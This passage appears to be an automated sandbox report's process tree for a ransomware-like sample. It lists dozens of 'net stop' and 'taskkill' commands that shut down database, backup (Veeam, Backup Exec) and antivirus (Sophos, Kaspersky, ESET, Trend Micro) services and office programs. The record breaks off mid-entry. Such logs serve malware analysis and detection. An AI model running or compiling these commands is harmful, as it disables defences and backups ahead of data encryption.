C:\Windows\SysWOW64\net.exe
net stop MSSQL $ ECWDB2 /y
2⤵
PID:2204

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ ECWDB2 /y
3⤵
PID:2224

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTICEMGT /y
2⤵
PID:2232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTICEMGT /y
3⤵
PID:2252

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PRACTTICEBGC /y
2⤵
PID:2260

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PRACTTICEBGC /y
3⤵
PID:2280

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROFXENGAGEMENT /y
2⤵
PID:2288

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROFXENGAGEMENT /y
3⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SBSMONITORING /y
2⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SBSMONITORING /y
3⤵
PID:2336

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SHAREPOINT /y
2⤵
PID:2344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SHAREPOINT /y
3⤵
PID:2364

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQL_2008 /y
2⤵
PID:2372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQL_2008 /y
3⤵
PID:2392

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SYSTEM_BGC /y
2⤵
PID:2400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SYSTEM_BGC /y
3⤵
PID:2420

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPS /y
2⤵
PID:2428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPS /y
3⤵
PID:2448

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ TPSAMA /y
2⤵
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ TPSAMA /y
3⤵
PID:2476

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:2484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:2504

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2012 /y
2⤵
PID:2512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2012 /y
3⤵
PID:2532

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
2⤵
PID:2540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
3⤵
PID:2560

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
2⤵
PID:2568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ PROFXENGAGEMENT /y
3⤵
PID:2588

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SBSMONITORING /y
2⤵
PID:2596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SBSMONITORING /y
3⤵
PID:2616

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SHAREPOINT /y
2⤵
PID:2624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SHAREPOINT /y
3⤵
PID:2644

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SQL_2008 /y
2⤵
PID:2652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SQL_2008 /y
3⤵
PID:2672

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ SYSTEM_BGC /y
2⤵
PID:2680

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
2⤵
PID:2708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
3⤵
PID:2728

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
2⤵
PID:2736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:2756

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
2⤵
PID:2764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:2784

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
2⤵
PID:2792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
3⤵
PID:2812

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
2⤵
PID:2820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
3⤵
PID:2840

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
2⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
3⤵
PID:2868

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
2⤵
PID:2876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
2⤵
PID:2904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:2924

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
2⤵
PID:2932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
3⤵
PID:2952

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
2⤵
PID:2960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2980

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
2⤵
PID:2988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
3⤵
PID:3008

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
2⤵
PID:3016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
3⤵
PID:3036

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
2⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
3⤵
PID:3064

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
2⤵
PID:940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
2⤵
PID:2084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
2⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
3⤵
PID:2128

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
2⤵
PID:2172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
2⤵
PID:2192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
3⤵
PID:2220

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
2⤵
PID:2244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
3⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
2⤵
PID:2280

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
3⤵
PID:2308

C:\Windows\SysWOW64\net.exe
net stop CABService /y
2⤵
PID:2296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CABService /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
2⤵
PID:2368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:2396

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
2⤵
PID:2388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
3⤵
PID:2416

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
2⤵
PID:2440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
3⤵
PID:2468

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
2⤵
PID:2476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
3⤵
PID:2504

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
2⤵
PID:2492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
3⤵
PID:2520

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
2⤵
PID:2564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
3⤵
PID:2592

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
2⤵
PID:2584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
3⤵
PID:2612

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
2⤵
PID:2636

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
2⤵
PID:2672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
3⤵
PID:2700

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
2⤵
PID:2688

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
2⤵
PID:2760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
3⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
2⤵
PID:2780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:2808

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
2⤵
PID:2832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:2860

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
2⤵
PID:2868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
2⤵
PID:2884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
3⤵
PID:2912

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
2⤵
PID:2956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
3⤵
PID:2984

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
2⤵
PID:2976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
3⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
2⤵
PID:3028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:3056

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
2⤵
PID:3064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
3⤵
PID:2076

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
2⤵
PID:2056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
3⤵
PID:2072

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2160

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
2⤵
PID:2188

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:2224

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
2⤵
PID:2248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
3⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
2⤵
PID:2308

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
2⤵
PID:2340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
3⤵
PID:2360

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
2⤵
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
2⤵
PID:2436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:2508

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
2⤵
PID:2532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
2⤵
PID:2592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
3⤵
PID:2612

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
2⤵
PID:2608

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
3⤵
PID:2644

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
2⤵
PID:2696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
3⤵
PID:2748

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
2⤵
PID:2724

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
3⤵
PID:2776

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
2⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
3⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
2⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
3⤵
PID:2896

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
2⤵
PID:2856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
2⤵
PID:2980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
3⤵
PID:2996

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
2⤵
PID:3008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
3⤵
PID:3024

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
2⤵
PID:2052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
3⤵
PID:2112

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
2⤵
PID:2072

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
3⤵
PID:2196

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
2⤵
PID:2136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:2228

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
2⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:2332

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
2⤵
PID:2356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
2⤵
PID:2412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
2⤵
PID:2508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
2⤵
PID:2520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:2556

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
2⤵
PID:2692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
2⤵
PID:2728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
3⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
2⤵
PID:2812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:2888

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
2⤵
PID:2896

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
2⤵
PID:2944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2972

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
2⤵
PID:3036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
3⤵
PID:2140

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:3052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:2200

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
2⤵
PID:2224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
3⤵
PID:2272

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:2332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:2384

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
2⤵
PID:2536

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
2⤵
PID:2604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
3⤵
PID:2660

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
2⤵
PID:2752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
3⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
2⤵
PID:2888

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop SQL /y
2⤵
PID:2840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL /y
3⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
2⤵
PID:2112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
3⤵
PID:2108

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 Service /y
2⤵
PID:2196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 Service /y
3⤵
PID:2216

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
2⤵
PID:2424

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
2⤵
PID:2480

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
3⤵
PID:2664

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
2⤵
PID:2588

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
3⤵
PID:2676

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
2⤵
PID:2900

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
3⤵
PID:2940

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
2⤵
PID:2920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:3012

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
2⤵
PID:3056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:2324

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
2⤵
PID:2216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
2⤵
PID:2384

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
3⤵
PID:2464

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
2⤵
PID:2776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
3⤵
PID:2928

C:\Windows\SysWOW64\net.exe
net stop AVP /y
2⤵
PID:2912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
3⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
2⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:2392

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
2⤵
PID:2500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
3⤵
PID:2464

C:\Windows\SysWOW64\net.exe
net stop SQLAgent /y
2⤵
PID:2612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent /y
3⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
2⤵
PID:2972

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
3⤵
PID:2252

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:2108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:2660

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
2⤵
PID:2928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:3032

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
2⤵
PID:2252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:2660

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2664

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im agntsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2556

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbeng50.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2940

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbsnmp.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3032

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im encsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3012

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3088

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im firefoxconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3112

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Infopath.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3136

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im isqlplussvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3160

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msaccess.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3184

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msftesql.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3208

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mspub.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3232

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopqos.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3256

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3280

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3304

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-nt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3332

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-opt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3356

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocautoupds.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3380

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocomm.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3404

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocssd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3428

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3452

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3476

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3500

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powerpnt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3524

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqbcoreservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3548

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlagent.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3572

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlbrowser.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3596

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlservr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3620

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlwriter.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3644

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im steam.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3668

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im synctime.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3692

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tbirdconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3716

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3740

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat64.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3764

C:\Windows\SysWOW64\taskkill.exe
